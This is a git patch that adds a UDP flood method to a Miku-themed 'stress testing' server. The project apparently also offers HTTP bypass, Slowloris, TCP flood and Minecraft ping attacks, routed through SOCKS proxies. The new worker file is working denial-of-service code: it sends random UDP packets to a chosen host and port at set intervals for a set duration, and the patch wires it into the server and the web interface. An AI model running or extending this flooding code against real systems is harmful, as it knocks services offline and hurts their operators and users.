From bcfd3120b86d4083ce582f576ab478e90cc239b3 Mon Sep 17 00:00:00 2001
From: urb4n3 <eliastilrem@gmail.com>
Date: Wed, 26 Feb 2025 08:38:04 +0100
Subject: [PATCH] =?UTF-8?q?feature:=20=F0=9F=9A=80=20added=20UDP=20flood?=
 =?UTF-8?q?=20attack=20method?=
MIME-Version: 1.0
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Content-Transfer-Encoding: 8bit

---
 README.md                        |  1 +
 server/index.ts                  |  1 +
 server/lib.ts                    |  1 +
 server/proxyUtils.ts             |  1 +
 server/workers/udpFloodAttack.js | 48 ++++++++++++++++++++++++++++++++
 src/App.tsx                      |  1 +
 6 files changed, 53 insertions(+)
 create mode 100644 server/workers/udpFloodAttack.js

diff --git a/README.md b/README.md
index 48ac733..531b21d 100644
--- a/README.md
+++ b/README.md
@@ -19,6 +19,7 @@ A fun and visually appealing stress testing server with a **Miku-themed** fronte
   - `HTTP Slowloris` - Send HTTP requests and keep the connection open
   - `Minecraft Ping` - Send Minecraft ping/motd requests
   - `TCP Flood` - Send random TCP packets
+  - `UDP Flood` - Send random UDP packets
 
 ## Setup 🛠️
 
diff --git a/server/index.ts b/server/index.ts
index c4ac246..a2fe988 100644
--- a/server/index.ts
+++ b/server/index.ts
@@ -17,6 +17,7 @@ const attackWorkers: { [key in AttackMethod]: string } = {
   http_bypass: "./workers/httpBypassAttack.js",
   http_slowloris: "./workers/httpSlowlorisAttack.js",
   tcp_flood: "./workers/tcpFloodAttack.js",
+  udp_flood: "./workers/udpFloodAttack.js",
   minecraft_ping: "./workers/minecraftPingAttack.js",
 };
 
diff --git a/server/lib.ts b/server/lib.ts
index 9b40e26..c568f5f 100644
--- a/server/lib.ts
+++ b/server/lib.ts
@@ -13,4 +13,5 @@ export type AttackMethod =
   | "http_bypass"
   | "http_slowloris"
   | "tcp_flood"
+  | "udp_flood"
   | "minecraft_ping";
diff --git a/server/proxyUtils.ts b/server/proxyUtils.ts
index 75bbbd4..44af12f 100644
--- a/server/proxyUtils.ts
+++ b/server/proxyUtils.ts
@@ -17,6 +17,7 @@ const METHODS: { [key in AttackMethod]: ProxyProtocol[] } = {
   http_bypass: ["http", "https", "socks4", "socks5"],
   http_slowloris: ["socks4", "socks5"],
   tcp_flood: ["socks4", "socks5"],
+  udp_flood: ["socks4", "socks5"],
   minecraft_ping: ["socks4", "socks5"],
 };
 
diff --git a/server/workers/udpFloodAttack.js b/server/workers/udpFloodAttack.js
new file mode 100644
index 0000000..f73fd14
--- /dev/null
+++ b/server/workers/udpFloodAttack.js
@@ -0,0 +1,48 @@
+import { parentPort, workerData } from "worker_threads";
+import dgram from "dgram";
+import { randomString } from "../utils/randomUtils.js";
+
+const startAttack = () => {
+    const { target, duration, packetDelay, packetSize } = workerData;
+
+    const [targetHost, targetPort] = target.split(":");
+    const port = parseInt(targetPort, 10);
+
+    if (isNaN(port)) throw new Error("Invalid port: Should be a number");
+    if (port < 1 || port > 65535) throw new Error("Invalid port: Should be between 1 and 65535");
+
+    const socket = dgram.createSocket("udp4");
+    let totalPackets = 0;
+    const startTime = Date.now();
+
+    const sendPacket = () => {
+        const elapsedTime = (Date.now() - startTime) / 1000;
+        if (elapsedTime >= duration) {
+            socket.close();
+            parentPort.postMessage({ log: "Attack finished", totalPackets });
+            process.exit(0);
+        }
+
+        const message = randomString(packetSize);
+        socket.send(message, port, targetHost, (err) => {
+            if (err) {
+                parentPort.postMessage({
+                    log: `❌ Packet failed to ${targetHost}:${port}: ${err.message}`,
+                    totalPackets,
+                });
+            } else {
+                totalPackets++;
+                parentPort.postMessage({
+                    log: `✅ Packet sent to ${targetHost}:${port}`,
+                    totalPackets,
+                });
+            }
+        });
+    };
+
+    setInterval(sendPacket, packetDelay);
+};
+
+if (workerData) {
+    startAttack();
+}
diff --git a/src/App.tsx b/src/App.tsx
index 26e776d..55168b8 100644
--- a/src/App.tsx
+++ b/src/App.tsx
@@ -390,6 +390,7 @@ function App() {
                   <option value="http_bypass">HTTP/Bypass</option>
                   <option value="http_slowloris">HTTP/Slowloris</option>
                   <option value="tcp_flood">TCP/Flood</option>
+                  <option value="udp_flood">UDP/Flood</option>
                   <option value="minecraft_ping">Minecraft/Ping</option>
                 </select>
               </div>